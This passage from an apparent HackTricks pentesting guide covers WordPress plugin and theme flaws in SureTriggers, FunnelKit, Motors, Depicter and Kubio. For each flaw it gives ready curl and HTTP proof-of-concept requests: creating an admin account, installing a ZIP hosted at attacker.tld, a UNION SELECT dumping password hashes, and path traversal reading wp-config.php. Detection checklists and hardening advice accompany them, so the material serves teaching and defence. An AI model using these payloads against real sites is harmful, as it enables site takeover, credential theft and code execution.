  • Impact: full takeover by chaining the minted key to internal privileged actions

PoC – emettere una connection key e usarla

# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

Why it’s exploitable

  • Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback
  • No capability enforcement; minted key is accepted as a universal bypass

Detection checklist

  • Grep plugin code for register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ])
  • Any route that issues tokens/keys based on request-supplied identity (username/email) without tying to an authenticated user or capability
  • Look for subsequent routes that accept the minted token/key without server-side capability checks

Hardening

  • For any privileged REST route: require permission_callback that enforces current_user_can() for the required capability
  • Do not mint long-lived keys from client-supplied identity; if needed, issue short-lived, user-bound tokens post-authentication and recheck capabilities on use
  • Validate the caller’s user context (wp_set_current_user is not sufficient alone) and reject requests where !is_user_logged_in() || !current_user_can()

Nonce gate misuse → installazione arbitraria di plugin non autenticata (FunnelKit Automations ≤ 3.5.3)

I nonce prevengono il CSRF, non l’autorizzazione. Se il codice considera il superamento di un nonce come via libera e poi salta i controlli di capability per operazioni privilegiate (es., install/activate plugins), attaccanti non autenticati possono soddisfare un requisito nonce debole e ottenere RCE installando un plugin backdoorato o vulnerabile.

  • Vulnerable path: plugin/install_and_activate
  • Flaw: weak nonce hash check; no current_user_can(‘install_plugins’|‘activate_plugins’) once nonce “passes”
  • Impact: compromissione completa tramite installazione/attivazione arbitraria di plugin

PoC (shape depends on plugin; illustrative only)

curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Detection checklist

  • REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
  • Any code path that sets $skip_caps = true after nonce validation

Hardening

  • Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
  • Require current_user_can(‘install_plugins’) and current_user_can(‘activate_plugins’) before reaching installer code
  • Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows

Subscriber+ AJAX plugin installer → forced malicious activation (Motors Theme ≤ 5.6.81)

Patchstack’s analysis ha mostrato come il tema Motors fornisse un helper AJAX autenticato per installare il suo plugin companion:

add_action('wp_ajax_mvl_theme_install_base', 'mvl_theme_install_base');

function mvl_theme_install_base() {
check_ajax_referer('mvl_theme_install_base', 'nonce');

$plugin_url  = sanitize_text_field($_GET['plugin']);
$plugin_slug = 'motors-car-dealership-classified-listings';

$upgrader = new Plugin_Upgrader(new Motors_Theme_Plugin_Upgrader_Skin(['plugin' => $plugin_slug]));
$upgrader->install($plugin_url);
mvl_theme_activate_plugin($plugin_slug);
}
  • Viene chiamato solo check_ajax_referer(); non ci sono chiamate a current_user_can('install_plugins') o current_user_can('activate_plugins').
  • Il nonce è incorporato nella pagina admin di Motors, quindi qualsiasi Subscriber che può aprire /wp-admin/ può copiarlo dall’HTML/JS.
  • L’handler si fida del parametro plugin controllato dall’attaccante (letto da $_GET) e lo passa a Plugin_Upgrader::install(), quindi uno ZIP remoto arbitrario viene scaricato in wp-content/plugins/.
  • Dopo l’installazione il tema chiama in modo incondizionato mvl_theme_activate_plugin(), garantendo l’esecuzione del codice PHP del plugin dell’attaccante.

Flusso di sfruttamento

  1. Registrare/compromettere un account a basso privilegio (Subscriber è sufficiente) e recuperare il nonce mvl_theme_install_base dalla UI della dashboard di Motors.
  2. Creare uno ZIP del plugin il cui directory di primo livello corrisponde allo slug previsto motors-car-dealership-classified-listings/ e inserire una backdoor o un webshell nei punti di ingresso *.php.
  3. Ospitare lo ZIP e attivare l’installer puntando l’handler al tuo URL:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Cookie: wordpress_logged_in_=...
Content-Type: application/x-www-form-urlencoded

action=mvl_theme_install_base&nonce=<leaked_nonce>&plugin=https%3A%2F%2Fattacker.tld%2Fmotors-car-dealership-classified-listings.zip

Poiché l’handler legge $_GET['plugin'], lo stesso payload può essere inviato anche tramite la query string.

Checklist di rilevamento

  • Cerca nei themes/plugins Plugin_Upgrader, Theme_Upgrader, o helper custom install_plugin.php collegati a hook wp_ajax_* senza capability checks.
  • Ispeziona qualsiasi handler che accetta un parametro plugin, package, source, o url e lo passa alle upgrader APIs, specialmente quando lo slug è hard-coded ma il contenuto dello ZIP non viene validato.
  • Rivedi le pagine admin che espongono nonces per le azioni dell’installer—se i Subscribers possono caricare la pagina, assumi che il nonce leaks.

Hardening

  • Gate i callback AJAX dell’installer con current_user_can('install_plugins') e current_user_can('activate_plugins') dopo la verifica del nonce; Motors 5.6.82 ha introdotto questo controllo per patchare il bug.
  • Rifiuta URL non affidabili: limita gli installer a ZIP inclusi nel bundle o a trusted repositories, oppure fai rispettare manifest firmati per i download.
  • Tratta i nonces strettamente come CSRF tokens; non forniscono autorizzazione e non dovrebbero mai sostituire i capability checks.

SQLi non autenticato tramite il parametro s (search) nelle azioni depicter-* (Depicter Slider ≤ 3.6.1)

Multiple azioni depicter-* consumavano il parametro s (search) e lo concatenavano nelle query SQL senza parameterizzazione.

  • Parametro: s (search)
  • Difetto: concatenazione diretta di stringhe nelle clausole WHERE/LIKE; nessun uso di prepared statements o sanitization
  • Impatto: exfiltrazione del database (users, hashes), movimento laterale

PoC

# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Detection checklist

  • Cerca con grep i depicter-* action handlers e l’uso diretto di $_GET[‘s’] o $_POST[‘s’] nelle query SQL
  • Rivedi le query personalizzate passate a $wpdb->get_results()/query() che concatenano s

Hardening

  • Usare sempre $wpdb->prepare() o wpdb placeholders; rifiutare metacaratteri imprevisti lato server
  • Aggiungere una allowlist rigorosa per s e normalizzare al charset/length previsto

Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)

Accettare path controllati dall’attaccante in un parametro template senza normalizzazione/contenimento permette di leggere file locali arbitrari, e talvolta l’esecuzione di codice se file PHP/log includibili vengono caricati in runtime.

  • Parameter: __kubio-site-edit-iframe-classic-template
  • Flaw: nessuna normalizzazione/allowlisting; traversal permesso
  • Impact: divulgazione di segreti (wp-config.php), potenziale RCE in ambienti specifici (log poisoning, includable PHP)

PoC – leggere wp-config.php

curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

Checklist di rilevamento

  • Qualsiasi handler che concatena i path delle richieste in sink di include()/require()/read senza confinamento tramite realpath()
  • Cerca pattern di traversal (../) che raggiungono al di fuori della directory templates prevista

Rafforzamento

  • Imporre template allowlisted; risolvere con realpath() e richiedere str_starts_with(realpath(file), realpath(allowed_base))
  • Normalizzare gli input; rifiutare sequenze di traversal e path assoluti; usare sanitize_file_name() solo per i nomi di file (non per path completi)

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks